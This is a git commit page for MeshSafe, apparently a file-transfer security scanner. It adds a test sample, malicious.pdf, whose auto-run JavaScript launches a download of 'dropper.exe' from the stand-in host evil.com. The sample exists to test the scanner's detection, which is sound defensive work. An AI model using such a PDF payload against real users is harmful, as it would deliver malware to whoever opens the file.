feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交
核心功能: - 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制 - FastAPI + PostgreSQL + Redis + Docker Compose 架构 - 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性 - 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页) - 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min) 并发与稳定性修复: - 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行) - JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写 - 移除 SQLite fallback, 统一 PostgreSQL - API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
31
tests/samples/malicious.pdf
Normal file
31
tests/samples/malicious.pdf
Normal file
@@ -0,0 +1,31 @@
|
||||
%%PDF-1.4
|
||||
1 0 obj
|
||||
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<</Type/Pages/Kids [4 0 R]/Count 1>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
|
||||
endobj
|
||||
5 0 obj
|
||||
<</Length 0>>
|
||||
stream
|
||||
endstream
|
||||
endobj
|
||||
xref
|
||||
0 6
|
||||
0000000000 65535 f
|
||||
0000000011 00000 n
|
||||
0000000120 00000 n
|
||||
0000000200 00000 n
|
||||
0000000320 00000 n
|
||||
0000000450 00000 n
|
||||
trailer
|
||||
<</Size 6/Root 1 0 R>>
|
||||
startxref
|
||||
500
|
||||
%%EOF
|
||||
Reference in New Issue
Block a user